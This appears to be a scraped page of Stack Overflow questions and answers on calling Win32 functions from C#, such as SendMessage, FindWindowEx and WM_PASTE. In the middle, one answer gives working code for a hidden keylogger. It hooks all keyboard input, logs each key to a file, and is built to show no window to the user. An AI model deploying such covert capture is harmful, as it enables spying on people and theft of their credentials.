Im trying to understand the SendMessage function and here's my actual code:
[DllImport("user32.dll")]
public static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll")]
private static extern IntPtr FindWindowEx(IntPtr parentHandle, IntPtr childAfter, string className, string windowTitle);
static void Main(string[] args)
{
Process test = Process.GetProcessesByName("calc")[0];
IntPtr hwndChild = FindWindowEx(test.MainWindowHandle, IntPtr.Zero, "Button", "2");
SendMessage(hwndChild, 245, IntPtr.Zero, IntPtr.Zero);
Console.ReadKey();
}
Very simple, I just want to click the calc button 2, but I'm having no success.
Error checking is never optional when you pinvoke winapi functions. It is a C api, it doesn't throw exceptions to keep you out of trouble. You'll have to do that by yourself. Proper code looks like this:
[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern IntPtr FindWindowEx(IntPtr parentHandle, IntPtr childAfter,
string className, string windowTitle);
...
IntPtr hwndChild = FindWindowEx(test.MainWindowHandle, IntPtr.Zero, "Button", "2");
if (hwndChild == IntPtr.Zero) throw new System.ComponentModel.Win32Exception();
Now you know why your program doesn't work. Next thing you'd do is fire up the Spy++ utility and have a look-see at the calculator window. You'll discover that you have to make more FindWindowEx() calls to drill down to the nested button.
Do consider using a UI Automation library to do this.
Related
I have developed a C# code which access to user32.dll and it is using GetWindowText function. The code is working properly when Teamviewer is uninstalled on Windows 7.
However if you install Teamviewer, the code can not retrieve the text of control in window with GetWindowText function. The code is given below. How can I solve this problem ?
[DllImport("user32.dll", CharSet = CharSet.Auto)]
static extern IntPtr FindWindowExW(IntPtr hwndParent, IntPtr hwndChildAfter, string lpszClass,
string lpszWindow);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
static extern IntPtr GetWindowText(IntPtr hwndParent, StringBuilder Wintxt, int txtsize);
public void CloseWin(string param)
{
try
{
IntPtr hwnD = FindWindowExW(IntPtr.Zero, IntPtr.Zero, "CabinetWClass", null);
IntPtr hwnD2 = FindWindowExW(hwDvar, IntPtr.Zero, "WorkerW", null);
IntPtr hwnD3 = FindWindowExW(hwnD2, IntPtr.Zero, "ReBarWindow32", null);
IntPtr hwnD4 = FindWindowExW(hwnD3, IntPtr.Zero, "Address Band Root", null);
IntPtr hwnD5 = FindWindowExW(hwnD4, IntPtr.Zero, "msctls_progress32", null);
IntPtr hwnD6 = FindWindowExW(hwnD5, IntPtr.Zero, "Breadcrumb Parent", null);
IntPtr hwnD7 = FindWindowExW(hwnD6, IntPtr.Zero, "ToolbarWindow32", null);
StringBuilder sb = new StringBuilder(255);
GetWindowText(hwnD7, sb, 255);
Well I have resolved the issue. I was calling also dialog file class with the function FindWindowEx by the class name #32770.
This class type is used also by Teamviewer(TV) quick support user interface. When I run my code, there is a intervention to the interface of TV and blocks of working user32 functions.
To solve the problem I have called the FindWindow function with class name and control name so that there is no intervention to the TV and problem solved.
I have an University project which requires to create some sort of keylogger with c#, I mean to get all the keyboard inputs from the user and put them in a file, the input which in this case is a text needs also to be encrypted. This application need to be a windows service, I'm new to windows services but I have successfully managed to create a windows service using Visual Studio 2015.The problem now is at the keylogger, I've searched for quite a long now but most keyloggers I've seen have been developed using windows forms and not windows services. I have this function:
protected override void OnStart(string[] args)
{
System.IO.File.Create(AppDomain.CurrentDomain.BaseDirectory + "OnStart.txt");
}
What I have done here is that when the service starts it creates a new .txt file called Output at the directory of the application where all the inputs of the user are going to be saved or recorded.
Could someone help me or redirect me somewhere so I could create a simple keylogger using a windows service? I've managed to create a keylogger with windows forms using a timer which would save the data every second but using a windows service seems to be a bit hard for me.
From this question it looks like it may not be possible to do from a service, for security reasons.
However, you could create a program which uses keybaord hooks and does not display any console or windows, meaning it will be hidden from the user (just like a service would).
To do this, first declare some fields:
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
Then import these native methods:
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
Create these methods, where HookCallback will handle any detected key presses (so write to file here uder the comment)
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
var keyName = Enum.GetName(typeof(Keys), vkCode);
var path = #"C:\test\logfile.txt";
// Handle the key press here
var text = ((Keys)vkCode).ToString();
File.AppendAllText(path, text);
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
SetHook basically subscribes to the keyboard hook for us:
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
Finally, add these lines to your Main method:
_hookID = SetHook(_proc);
Application.Run();
UnhookWindowsHookEx(_hookID);
Now to make the program invisible, simply change the Output Type property to a Windows Application instead of a Console Application.
I hope this is helpul to you
I am using the following SendMessage function to send/paste text to a different application.
But in that function I have to give the name of the window from the other application.
How can I change this to get the current active window and paste in the code there?
Code:
[DllImport("user32.dll")]
public static extern int SendMessage(int hWnd, int msg, int wParam, [MarshalAs(UnmanagedType.LPStr)] string lParam);
[DllImport("user32.dll", SetLastError = true)]
static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
[DllImport("user32.dll", SetLastError = true)]
static extern IntPtr FindWindowEx(IntPtr hwndParent, IntPtr hwndChildAfter, string lpszClass, string lpszWindow);
public const int WM_PASTE = 0x0302;
IntPtr windowHandle = FindWindow("NOTEPAD", null);
IntPtr editHandle = FindWindowEx(windowHandle, IntPtr.Zero, "EDIT", null);
string textToSendToFile = "Input here your text";
Clipboard.SetText("Test");
SendMessage((int)editHandle, WM_PASTE, 0, textToSendToFile);
I also got this but I do not really know how to combine this with the code above...
[DllImportAttribute("user32.dll", EntryPoint = "GetForegroundWindow")]
public static extern IntPtr GetForegroundWindow();
[DllImportAttribute("user32.dll", EntryPoint = "GetWindowThreadProcessId")]
public static extern uint GetWindowThreadProcessId([InAttribute()] IntPtr hWnd, IntPtr lpdwProcessId);
IntPtr hWndForegroundWindow = GetForegroundWindow();
uint activeThreadID = GetWindowThreadProcessId(hWndForegroundWindow, IntPtr.Zero);
The WM_PASTE message does not use the parameters. It's just an instruction to the recipient to take the contents of the clipboard and paste them. So if you wish the recipient to do anything, you'll need to populate the clipboard first.
If you don't wish to pollute the clipboard, and you should not since it belongs to the user, then you can send an EM_REPLACESEL message passing the text in lParam.
If you want to find the window which the user is currently working on, use GetForegroundWindow.
However, rather than faking low level messages, best of all would be to use the automation API.
I'm trying to get the handle of a child dialog window. I've tried using FindWindowEx, but it didn't work. Instead, FindWindow did work.
I did an experiment with visual studio's options window, with the following code:
IntPtr vsHandle = Process.GetProcessById(vsProcessId).MainWindowHandle; // consistent with spy++'s parent handle of options window
IntPtr optionsHandle = FindWindowEx(vsHandle, IntPtr.Zero, "#32770", "Options"); // returns 0
IntPtr optionsHandle2 = FindWindow("#32770", "Options"); // returns correct handle
From my understanding, FindWindowEx should've worked, it is a child window.
I'm running windows xp, and have also tried using FindWindowEx(vsHandle, IntPtr.Zero, "#32770", null). Didn't work. Seems like the only way to get it is using FindWindow which isn't good enough as two parent instances with the same dialog can be open.
This is the declaration:
[DllImport("user32.dll")]
Private static extern IntPtr FindWindow(string className, string windowTitle);
[DllImport("user32.dll")]
Private static extern IntPtr FindWindowEx(IntPtr parentHWnd, IntPtr childAfterHWnd, string className, string windowTitle);
Thanks in advance.
I found a solution to this. The reason FindWindowEx didn't work was because it only works on child windows that have WS_CHILD style, and apparently dialog windows do not have this style. It is why EnumChildWindows won't work either (I've tried).
So the ugly solution is EnumWindows combined with GetParent to compare the handle and the text.
struct SearchData
{
public string WindowText;
public IntPtr ParentHandle;
public IntPtr ResultHandle;
}
delegate bool EnumWindowsCallback(IntPtr currentWindowHandle, ref SearchData searchData);
[DllImport("user32.dll")] static extern bool EnumWindows(EnumWindowsCallback callback, ref SearchData searchData);
[DllImport("user32.dll")] static extern IntPtr GetParent(IntPtr childHandle);
[DllImport("user32.dll")] static extern void GetWindowText(IntPtr handle, StringBuilder resultWindowText, int maxTextCapacity);
static bool Callback(IntPtr currentWindowHandle, ref SearchData searchData)
{
bool continueEnumeration = true;
IntPtr currentWindowParentHandle = GetParent(currentWindowHandle);
if (currentWindowParentHandle == searchData.ParentHandle)
{
var windowText = new StringBuilder(1024);
GetWindowText(currentWindowHandle, windowText, windowText.Capacity);
if (windowText.ToString() == searchData.WindowText)
{
searchData.ResultHandle = currentWindowHandle;
continueEnumeration = false;
}
}
return continueEnumeration;
}
IntPtr GetChildWindowHandle(string windowText, IntPtr parentHandle)
{
var searchData = new SearchData{ParentHandle=parentHandle, WindowText=windowText};
EnumWindows(Callback, ref searchData);
return searchData.ResultHandle;
}
I have a C# application that uses the SendMessage pinvoke method to send a "close window" message (WM_CLOSE / 16) to various windows outside the application. This works great, except when the window in question is a Windows Explorer window. I do not get an exception, but the window does not close.
Here's the signature:
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = false)]
internal static extern IntPtr SendMessage(HandleRef hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
Is there a different message that I need to send to Windows Explorer windows? Or an alternate way to accomplish this?
an alternative solution would be to use PostMessage win API call instead of SendMessage, below is an example which worked fine for me (I'm using winXP sp3):
[DllImport("user32.dll", SetLastError = true)]
static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
[DllImport("user32.Dll")]
public static extern int PostMessage(IntPtr hWnd, UInt32 msg, int wParam, int lParam);
private const UInt32 WM_CLOSE = 0x0010;
...
IntPtr hWnd = FindWindow("ExploreWClass", null);
if (hWnd.ToInt32()!=0) PostMessage(hWnd, WM_CLOSE, 0, 0);
differences between PostMessage and SendMessage api call are described here: http://msdn.microsoft.com/en-us/magazine/cc301431.aspx